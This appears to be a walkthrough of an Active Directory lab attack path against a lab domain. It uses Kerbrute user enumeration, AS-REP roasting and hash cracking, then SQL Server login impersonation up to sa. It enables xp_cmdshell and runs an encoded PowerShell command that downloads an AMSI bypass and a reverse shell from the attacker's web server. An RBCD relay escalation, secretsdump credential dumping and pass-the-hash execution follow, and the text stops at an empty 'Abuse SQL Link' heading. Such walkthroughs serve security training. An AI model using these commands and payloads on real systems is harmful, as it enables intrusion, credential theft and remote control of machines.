# Manual

## Attack path visualized

![](https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FbCrE1reBhOqDnOIu5cfp%2Fimage.png?alt=media\&token=9a68806e-4430-4dde-afbe-09125f3d6a18)

### 1. Enumerate Users

**Task: Enumerate valid domain users.**

It is possible to enumerate valid domain users by sending TGT requests with the usernames to the domain controller and checking the response. One tool which can do this is [Kerbrute](https://github.com/ropnop/kerbrute). But first we need a list of usernames to spray. A repository with a lot of lists for ethica hacking is [SecLists](https://github.com/danielmiessler/SecLists).

1. Download Kerbrute, make it executable and download SecLists:

```
wget https://github.com/ropnop/kerbrute/releases/download/v1.0.3/kerbrute_linux_amd64 -O kerbrute
chmod +x kerbrute
git clone https://github.com/danielmiessler/SecLists
```

2\. After downloading the tools and the username list, run Kerbrute against the domain `amsterdam.bank.local` and DC `10.0.0.3`. I prefer to pipe the command to `tee` to save the output to a text file, in this case `username_enum.txt`. The command is:

```
./kerbrute userenum -d amsterdam.bank.local --dc 10.0.0.3 /opt/SecLists/Usernames/xato-net-10-million-usernames.txt | tee username_enum.txt
```

<div align="left"><img src="https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2F8v1wvSy1x1thhZEUZ4lM%2Fimage.png?alt=media&#x26;token=ea2e2789-92e7-4f3c-aacb-c8fbe588f29c" alt=""></div>

3\. Kerbrute found quite some valid usernames. To only get a list of usernames execute the following command which will cut the output and only print the usernames. Then it changes everything to lowercase and sort for unique entries and write it to `users.txt`:

```
cat username_enum.txt | grep bank.local | cut -d " " -f 8- | cut -d "@" -f 1 | sed 's/./\L&/g' | sort -u > users.txt
```

```
cat users.txt   
                                                                                                    
administrator
bank
bob
chris
dave
david
john
mark
mike
richard
robert
steve
thomas
```

We succesfully enumerated a list of valid domain users that are part of the domain `amsterdam.bank.local`.

### 2. AS-REP roast

**Task: Check if any of the valid users are vulnerable to an kerberos vulnerability.**

One of the misconfiguration which can be exploited with just a list of valid domain users and without knowing their password is checking if any of the valid domain users has pre-authentication enabled. If they do we can execute the AS-REP roasting attack and hopefully crack their hash and retrieve a valid password.

Other attacks which are possible to do is password spraying or checking if the user has an empty password. Which won't be covered in this attack path. But its possible to gain access to other users by executing these kind of attacks.

1. We can use the [GetNPUsers.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/GetNPUsers.py) script from Impacket to check if any of the users has this attribute set and if they do AS-REP roast them, saving the hashes to `asreproasting.txt`.

```
GetNPUsers.py amsterdam/ -dc-ip 10.0.0.3 -usersfile users.txt -format hashcat -outputfile asreproasting.txt
```

![](https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2Fyqj74bwrhTvy6DDZVzw5%2Fimage.png?alt=media\&token=e4a33607-69d8-487f-b794-1c54d46a0dfe)

2\. The output doesn't show us any successes. But the file `kerberoasting.txt` is there and it has a hash for the user `richard`:

<div align="left"><img src="https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2F7nOzMH92C5rYnBPGZpdc%2Fimage.png?alt=media&#x26;token=b9179253-3ae9-42b6-a877-e6e3cb2bc7f9" alt=""></div>

3\. We can try to crack this hash using [Hashcat](https://hashcat.net/hashcat/). I transferred the file to my host since cracking in a VM isn't really ideal since it doesn't have access to my GPU. I always run Hashcat with rockyou and the dive ruleset first. For AS-REP Roasting we need to use hashmode `-m 18200`.

```
.\hashcat.exe -a 0 -m 18200 .\asreproasting.txt .\wordlists\rockyou.txt  -r .\rules\dive.rule
```

![](https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FRDRYF9LupelW0hiK93kJ%2Fimage.png?alt=media\&token=0ac82e0a-4d2f-4b10-947c-cbba84c30b6a)

4\. We cracked the hash within seconds of the domain user `Richard`, the password is `Sample123`.

#### Optional gathering BloodHound data of amsterdam.bank.local:

1. After gaining access to a valid set of credentials I always prefer to run [BloodHound](https://github.com/BloodHoundAD/BloodHound) immediately. I normally run the PowerShell version of the BloodHound ingestor, but since we don't have access to a machine yet and I'm not connected on my W10 VM to the lab. We can run the [BloodHound.py](https://github.com/fox-it/BloodHound.py) ingestor from FoxIt:

```
git clone https://github.com/fox-it/BloodHound.py
bloodhound-python -d amsterdam.bank.local -ns 10.0.0.3 -dc DC02.amsterdam.bank.local -u 'Richard' -p 'Sample123' --zip -c all
```

<div align="left"><img src="https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FMaMFbEezUgZkpboHrh09%2Fimage.png?alt=media&#x26;token=093d6a81-4512-4161-b736-6597543763dd" alt=""></div>

2\. We now can load the data into BloodHound by dragging the zip file into the BloodHound program and see if `Richard` can do anything useful. In the top search for the Richard user and click on it.

<div align="left"><img src="https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FmEEPyFXyh1RhBzi40akX%2Fimage.png?alt=media&#x26;token=bb8a2064-688a-4889-b72b-2b05e4b45065" alt=""></div>

If you check Richard their attributes and click on the group memberships it unfolds. Richard is member of the following groups, nothing interesting there:

![](https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FAfmnHYPx9JXkthBxYhLl%2Fimage.png?alt=media\&token=a15d6c52-117f-4028-beb5-7932191b65fc)

The attributes of the user also doesn't show anything interesting:

<div align="left"><img src="https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FEkjX2mTvTi4IXi03TGOR%2Fimage.png?alt=media&#x26;token=ac176fad-caba-487a-86eb-852bf40439b4" alt=""></div>

We didn't found anything, but it is always good to check this for every user and computers you own. You can also right click on every object we owned and mark them as "Owned". So its easier to query future attack paths from owned principals.

### 3. Access SQL Server

**Task: Check if the user can access any system or service.**

#### Checking for access

To check if a user can access any systems I prefer to use [CrackMapExec](https://github.com/byt3bl33d3r/CrackMapExec). This tool can easily check if the user can authenticate to a list of targets using either the protocols smb, winrm, mssql or ldap. It also supports ssh. This is a snippet from the help function:

<div align="left"><img src="https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FktjGQA2v3S6ImNsgHO1I%2Fimage.png?alt=media&#x26;token=7df3b9c4-c991-45b7-b7eb-ac9949a64832" alt=""></div>

1. We can check if the user can access anything over SMB, which by default a normal domain user can authenticate over SMB. If the user is local admin (which is what we need to really do anything over SMB, it will show `Pwn3d!` in orange).

```
crackmapexec smb 10.0.0.0/24 -u richard -p Sample123
```

![](https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FupBWr1MdLgsfbWUPMn1b%2Fimage.png?alt=media\&token=57a1e39e-baee-46f5-90c0-1c6983c362c7)

The account can access three hosts over SMB but unfortunately we aren't local admin to any of them. We can still check for any accessible SMB shares by adding the `--shares` parameter.

```
crackmapexec smb 10.0.0.3 10.0.0.4 10.0.0.5 -u richard -p Sample123 --shares
```

![](https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FzykCYVEyhae6OylGr0OM%2Fimage.png?alt=media\&token=20122abf-b16c-42cd-ac71-962e0bf91bd6)

The IPC$, NETLOGON and SYSVOL shares are default. There is one interesting share with the name `Data` on `FILE01`. After connecting to the share with smbclient we see that this user unfortunately can't access any of the subdirectories:

<div align="left"><img src="https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FwE58ALpQAO2Zmi8zXBE8%2Fimage.png?alt=media&#x26;token=2c6dda9a-1aa4-43c8-af7d-ee99c9d9f638" alt=""></div>

2\. Next we can check if the user can access any systems with the winrm protocol:

```
crackmapexec winrm 10.0.0.0/24 -u richard -p Sample123
```

![](https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FcjqCBBQfp68eNTO9YksQ%2Fimage.png?alt=media\&token=8268bd35-f704-4166-864c-2a3d6b722bed)

3\. We weren't able to authenticate to any machine over Winrm. Now we check for SQL server with the mssql protocol:

```
crackmapexec mssql 10.0.0.0/24 -u richard -p Sample123
```

![](https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FzKsR040ZgdaBWBULrZrJ%2Fimage.png?alt=media\&token=c3d07803-178f-4e87-b3fb-783afbafbbda)

Richard can connect to the SQL server running on `WEB01` `10.0.0.5`. But he doesn't have sysadmin rights(otherwise the tool prints Pwn3d!).

4\. We can create a real connection with these credentials and the script [mssqlclient.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/mssqlclient.py) from Impacket.&#x20;

```
mssqlclient.py -windows-auth 'amsterdam/richard:Sample123'@10.0.0.5
```

![](https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FScJMBORV7n3VpJ3QdJDS%2Fimage.png?alt=media\&token=3e710f03-c42d-4dd2-a55d-7a377a760ece)

### 4. Become sysadmin

**Task: Escalate privileges to sysadmin.**

1. With the following SQL query we can check if our user is sysadmin, although we already know from CrackMapExec that our user likely isn't sysadmin

```
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
```

<div align="left"><img src="https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FzSeVIzZj8OLWq3pT2pMj%2Fimage.png?alt=media&#x26;token=265a4899-6a59-45c1-a359-5fde3132dfc4" alt=""></div>

2\. The `0` means that the user `AMSTERDAM\richard` is not sysadmin. So we have to find a way to gain sysadmin privileges. One of the ways I know of is checking if our user can impersonate any other user which we can check with the following SQL query:

```
SELECT distinct b.name
FROM sys.server_permissions a
INNER JOIN sys.server_principals b
ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE'
```

<div align="left"><img src="https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FhhzJU2KFbqDDDclvXXpA%2Fimage.png?alt=media&#x26;token=a1c02c5a-8b1f-487b-a318-039081b3128c" alt=""></div>

3\. Seems like we can impersonate a user with the name `Developer`. We can do this with the following SQL query:

```
EXECUTE AS LOGIN = 'Developer'
```

But we get an error, because the user `Developer` can't use the database we are currently connected to:&#x20;

![](https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FgbTGFSbROOKUnS7xazZS%2Fimage.png?alt=media\&token=eebc692f-d842-4b51-9e70-1144c3459521)

We can change the database to master; and try it again:

```
use master;
EXECUTE AS LOGIN = 'Developer'
```

<div align="left"><img src="https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2F3tzCVAwqJrZM3tf5gcMI%2Fimage.png?alt=media&#x26;token=cbbfbddf-2854-4aa9-b076-af4c9798887c" alt=""></div>

Seems like it worked, lets run the query again to check which user we are and if we are sysadmin:

```
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
```

<div align="left"><img src="https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FVrDqQxMtSOBvXRUQIc7K%2Fimage.png?alt=media&#x26;token=41195740-c21d-4a73-a813-bbb3858e9f6b" alt=""></div>

4\. We impersonated the user `Developer` but still aren't sysadmin. We can check for impersonation permissions again with the same query:

```
SELECT distinct b.name
FROM sys.server_permissions a
INNER JOIN sys.server_principals b
ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE'
```

<div align="left"><img src="https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2Fq05WqHP9rC4B2q6fFnJz%2Fimage.png?alt=media&#x26;token=e1c38d07-0b98-40ed-940b-75c9daef1e05" alt=""></div>

5\. We can now try to impersonate `sa`, but we get an error:

```
EXECUTE AS LOGIN = 'sa'
```

![](https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FU4UI5dNMmrzfb59wMJOi%2Fimage.png?alt=media\&token=28450aa7-ca4b-41a5-8022-6f541ed38d33)

6\. Lets try to impersonate `developer_test` and then check for sysadmin privileges and if impersonation is possible again:

```
EXECUTE AS LOGIN = 'developer_test'
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
SELECT distinct b.name
FROM sys.server_permissions a
INNER JOIN sys.server_principals b
ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE'
```

<div align="left"><img src="https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FP70KTdsnXshXuVSc1d9i%2Fimage.png?alt=media&#x26;token=84a4bd1b-ae07-40e4-bb17-b3e9fc83d22c" alt=""></div>

7\. We aren't sysadmin but it seems we can finally impersonate `sa` now.

```
EXECUTE AS LOGIN = 'sa'
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
```

<div align="left"><img src="https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2F1s9P5GkNHGfrlYyJftk1%2Fimage.png?alt=media&#x26;token=a3829c28-6205-40b6-b680-18438cd22b48" alt=""></div>

8\. We are `sa` and have sysadmin privileges. We successfully escalated our privileges from domain user to `sa` with sysadmin privileges on the SQL Server. Now we can try to get command execution on the host.

### 5. Execute commands

**Task: Get a shell.**

1. The first step to execute commands is to check if xp\_cmdshell is already enabled, since its only possible to execute cmd commands if that is enabled. We can do that by just executing xp\_cmdshell and see if it works:

```
EXEC master..xp_cmdshell 'whoami'
```

![](https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FskDYPDqJLpbY0yF7xRXG%2Fimage.png?alt=media\&token=02690268-472d-493e-9c98-18496790d3d7)

2\. We receive an error that it is disabled. But we can try to enable it with the following SQL queries:

```
EXEC sp_configure 'show advanced options',1
RECONFIGURE
EXEC sp_configure 'xp_cmdshell',1
RECONFIGURE
```

![](https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FH4iSNPcTqACNTMRrv03a%2Fimage.png?alt=media\&token=ff3ed9bc-674d-445e-8633-3b24d0df3919)

Now we can try to execute the `whoami` command again and it worked:

```
EXEC master..xp_cmdshell 'whoami'
```

<div align="left"><img src="https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FdCk4XFKKI7i7Led1L4Py%2Fimage.png?alt=media&#x26;token=7e360442-f597-40c3-b03e-ab6e88d42395" alt=""></div>

3\. The next step is to gain a reverse shell from `WEB01`. For this we need to prepare some files and setup a listener before we execute a query and command on the sql server.&#x20;

* Save the amsi bypass from [here](https://github.com/0xJs/RedTeaming_CheatSheet/tree/main/windows-ad#amsi-bypass) to a file named `amsi.txt`.
* Download [Invoke-PowerShellTcp.ps1](https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1) from Nishang: `wget https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1`
* Check the IP of the attacking: `ip a` (mine is 192.168.248.2 but yours will be different!).
* Add the following to a newline in Invoke-PowerShellTcp.ps1: `Invoke-PowershellTcp -Reverse -IPAddress <IP> -Port 443`
* Start a webserver on port 8090: `python3 -m http.server 8090`
* Start a listener on port 443: `nc -lvp 443`

![](https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2Fd7Uef2Yp5kGGrrGkb3Kk%2Fimage.png?alt=media\&token=39e7fa09-3e84-42bc-a1e1-56877768b1f5)

4\. Now we need to change/type the payload we want to execute on the SQL server. A method I learned to use is to base64 encode the command we want to execute and use the `-enc` parameter inside PowerShell. This prevents a lot of issues with single and double quotes.

* The payload we would like to execute which will download the amsi into memory and then execute the reverse shell after bypassing Windows Defenser amsi is:

```
IEX ((new-object net.webclient).downloadstring("http://192.168.248.2:8090/amsi.txt")); IEX ((new-object net.webclient).downloadstring("http://192.168.248.2:8090/Invoke-PowerShellTcp.ps1"));
```

* We can save this payload into a variable with the following command and then base64 encode it with the second command:

```
$str = 'IEX ((new-object net.webclient).downloadstring("http://192.168.248.2:8090/amsi.txt")); IEX ((new-object net.webclient).downloadstring("http://192.168.248.2:8090/Invoke-PowerShellTcp.ps1"));'
[System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($str))
```

![](https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FoZB1WcXcl30heYlaGqPr%2Fimage.png?alt=media\&token=33997ee8-9210-4c40-9581-49399fa18416)

* Now we can paste the base64 encoded string in the following SQL query which will execute the base64 encoded PowerShell command:

```
EXEC xp_cmdshell 'powershell.exe -w hidden -enc <BASE64 STRING>';

EXEC xp_cmdshell 'powershell.exe -w hidden -enc SQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACIAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMgA0ADgALgAyADoAOAAwADkAMAAvAGEAbQBzAGkALgB0AHgAdAAiACkAKQA7ACAASQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACIAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMgA0ADgALgAyADoAOAAwADkAMAAvAEkAbgB2AG8AawBlAC0AUABvAHcAZQByAFMAaABlAGwAbABUAGMAcAAuAHAAcwAxACIAKQApADsA'
```

5\. Now its time to execute the command and receive a shell. Amsi.txt and the reverse shell gets downloaded from the webserver and the shell comes in from `WEB01` as `NT service\mssql$dev`:

<div align="left"><img src="https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2F1ZtybV6Tc4Eoqg7eLP2O%2Fimage.png?alt=media&#x26;token=4cddef9d-ff34-43be-a191-a92ee8c1ffb8" alt=""></div>

### 6. Privesc RBCD

**Task: Escalate privileges on the machine with a delegation attack.**

One of the privilege escalation techniques that you don't see too often is by using a Resource Based Constrained Delegation attack. This attack works by relaying the computerhash to ldap after forcing a webdav authentication to the attacker machine. To do the attack there are a few requirements which are:

* A low privileged shell on a machine
* An account with a SPN associated (or able to add new machines accounts (default value this quota is 10))
* WebDAV redirector feature must be installed on the victim machine. (W10 has it by default, but manually installed on server 2016 and later)
* A DNS record pointing to the attacker’s machine (By default authenticated users can do this).

1. The first requirement we already have, so lets check if the authenticated users group can add computers to the domain. We can check this with Crackmapexec:

```
crackmapexec ldap 10.0.0.3 -u richard -p Sample123 -M MAQ
```

![](https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FpeF1D5BfjvvyGIKgo3o2%2Fimage.png?alt=media\&token=44e7e4ad-816e-4788-b91b-f38e13e288c0)

2\. The `MachineAccountQouta` is 10, meaning we (all authenticated users) can create our own computerobjects in the domain. So lets add our own computerobject, this can be done with [PowerMad](https://github.com/Kevin-Robertson/Powermad). First we have to download it on our attacking machine, in the same directory as our Webserver is already running:

```
wget https://raw.githubusercontent.com/Kevin-Robertson/Powermad/master/Powermad.ps1
```

Now we can load it into the PowerShell session in the shell:

```
iex (iwr http://192.168.248.2:8090/Powermad.ps1 -usebasicparsing)
```

<div align="left"><img src="https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2F5HQfELlwl218tc1aLqqD%2Fimage.png?alt=media&#x26;token=0ba555af-0123-46e9-bf66-f2e9c61a17cd" alt=""></div>

Then we can create our own computerobject with the name `FAKE01` and password `123456` using the `New-MachineAccount` cmdlet from PowerMad:

```
New-MachineAccount -MachineAccount FAKE01 -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose
```

![](https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FyKwgU2Cli2e0Pv693VOk%2Fimage.png?alt=media\&token=78d49e74-e7d2-4b64-80a2-c69264f51fdf)

3\. The third requirement is that the WebDav director is installed. We can check this with the following PowerShell command in the shell:

```
Get-WindowsFeature WebDAV-Redirector
```

![](https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FTe16bJANGSGucIgSRo8K%2Fimage.png?alt=media\&token=11ff6b50-f7e4-4e62-8e70-e12da40699b5)

The WebDAV Redirector is installed.

4\. The last requirement is to create a DNS record back to our attacking machine, since the webdav connection won't work without a hostname to connect too. For this we need the [Invoke-DNSUpdate](https://raw.githubusercontent.com/Kevin-Robertson/Powermad/master/Invoke-DNSUpdate.ps1) script from PowerMad. So we download it again and import it in the shell and then run the command to add the dns entry `webdav.amsterdam.bank.local` to our attacking machine IP (`192.168.248.2`):

```
#Download on kali
wget https://raw.githubusercontent.com/Kevin-Robertson/Powermad/master/Invoke-DNSUpdate.ps1

#Execute in the shell on web01
iex (iwr http://192.168.248.2:8090/Invoke-DNSUpdate.ps1 -usebasicparsing)
Invoke-DNSUpdate -DNSType A -DNSName webdav.amsterdam.bank.local -DNSData 192.168.248.2 -Realm amsterdam.bank.local
```

![](https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FV4azLncA5pWbpcIlbHCx%2Fimage.png?alt=media\&token=e1ddc548-f5cd-4932-ab15-43c534928b28)

I also did a nslookup to check if the DNS record was created. The domain controller at `10.0.0.3` responded and gave us the correct attacker IP. We now have all our prerequisites. Time to escalate our privileges.

5\. Run [NTLMRelay](https://github.com/SecureAuthCorp/impacket/blob/master/examples/ntlmrelayx.py) from impacket on our Kali machine and set it up so it will write the `msDS-AllowedToActOnBehalfOfOtherIdentity` attribute that allows our created computerobject `FAKE01` to actonbehalf `WEB01`:

```
python3 /opt/impacket/examples/ntlmrelayx.py -t ldap://10.0.0.3 --delegate-access --escalate-user FAKE01$ --serve-image ./image.jpg
```

![](https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FggkF8RCGxfLerBh4FE4Q%2Fimage.png?alt=media\&token=253f08d5-b49a-4574-b647-8b18c0fcf0b0)

6\. Next we need to download en load the [Change-LockScreen.ps1](https://github.com/nccgroup/Change-Lockscreen) script from the NCCgroup and load it into memory on the target:

```
wget https://raw.githubusercontent.com/nccgroup/Change-Lockscreen/masterChange-Lockscreen.ps1
iex (iwr http://192.168.248.2:8090/Change-Lockscreen.ps1 -usebasicparsing)
```

Now its time to execute the attack. A quick recap from one of our pages:

> Abuse the lockscreen image changing functionality to achieve a webdav network authentication as SYSTEM from the given computer. Then relay the authentication to the Active Directory LDAP service in order to set up Resource-Based Constrained Delegation to that specific machine.

Lets force the webdav request back to our kali attacking machine:

```
change-lockscreen -webdav \\webdav@80\
```

![](https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FOub3Iu6LNkRwxHre1yFy%2Fimage.png?alt=media\&token=8871d4e6-dd4e-4647-9535-1b597d9c161e)

Once we check our NTLMRelay tool output we see that it succesfully authenticated as `WEB01$` to the LDAP port on the DC at `10.0.0.3`. And it says `FAKE01` can now impersonate users on `WEB01`.

7\. The next step is to impersonate a user(preferably a domain admin) and request service tickets so we can authenticate to the host. We can create a CIFS service ticket using `FAKE01` impersonating the domain admin `Administrator` using impackets [getST.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/getST.py) script. Fill in the password `123456`.

```
getST.py amsterdam/FAKE01@10.0.0.5 -spn cifs/web01.amsterdam.bank.local -impersonate administrator -dc-ip 10.0.0.3
```

![](https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FrAVeoKg3i5KxwWLeTD6V%2Fimage.png?alt=media\&token=a6a71125-3d31-4388-9522-e88dec26202a)

8\. Now we can use the ticket and authenticate with tools that support these, most (if not all) Impacket tools support this. So we can run [secretsdump.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py) to retrieve the local useraccount hashes.

```
export KRB5CCNAME=administrator.ccache
secretsdump.py -k -no-pass web01.amsterdam.bank.local
```

![](https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FnPZ2LCAsTsjSe4sW1ktp%2Fimage.png?alt=media\&token=607b8482-eeb9-4f50-b8dc-3309d3993d2a)

We retrieved the hash of the local `administrator` user and the cached hashes for two domain admins. These look like NTLM hashes but aren't. We can use the local admin hash though to authenticate to `WEB01`. We can do this with our good old tool `CrackMapExec`.

9\. The next step is to execute commands and get a shell. You might wonder why don't you just use psexec.py from Impacket, well because Defender will block it:

<div align="left"><img src="https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FKiAtqRJh9jOijAaz3g6A%2Fimage.png?alt=media&#x26;token=e21c51c5-c635-4fdd-aea3-138aa1ddbd4f" alt=""></div>

As said before, we can use the local administrator hash with CrackMapExec and execute commands with the `-x` flag.

```
crackmapexec smb 10.0.0.5 -u administrator -H a59cc2e81b2835c6b402634e584a8edc --local-auth -x whoami
```

![](https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FwVUkQ7roVchRIuy3eP6W%2Fimage.png?alt=media\&token=10ca3d25-a6d2-4cf2-baef-195b7fd21a05)

That worked, but how can we get a shell? You remember the payload we generated to get a shell through SQL server. That will work here too. So lets copy that and place it in the x parameter after starting a listener again to receive the shell:

```
nc -lvp 443
crackmapexec smb 10.0.0.5 -u administrator -H a59cc2e81b2835c6b402634e584a8edc --local-auth -x 'powershell.exe -w hidden -enc SQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACIAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMgA0ADgALgAyADoAOAAwADkAMAAvAGEAbQBzAGkALgB0AHgAdAAiACkAKQA7ACAASQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACIAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMgA0ADgALgAyADoAOAAwADkAMAAvAEkAbgB2AG8AawBlAC0AUABvAHcAZQByAFMAaABlAGwAbABUAGMAcAAuAHAAcwAxACIAKQApADsA'
```

<div align="left"><img src="https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FNoUWciOZX1aWw3X0AJ5j%2Fimage.png?alt=media&#x26;token=7f23140d-998e-472a-99fe-75eddb13b08b" alt=""></div>

And we received a shell as the local administrator. Gotta love PowerShell :)

### 7. Abuse SQL Link

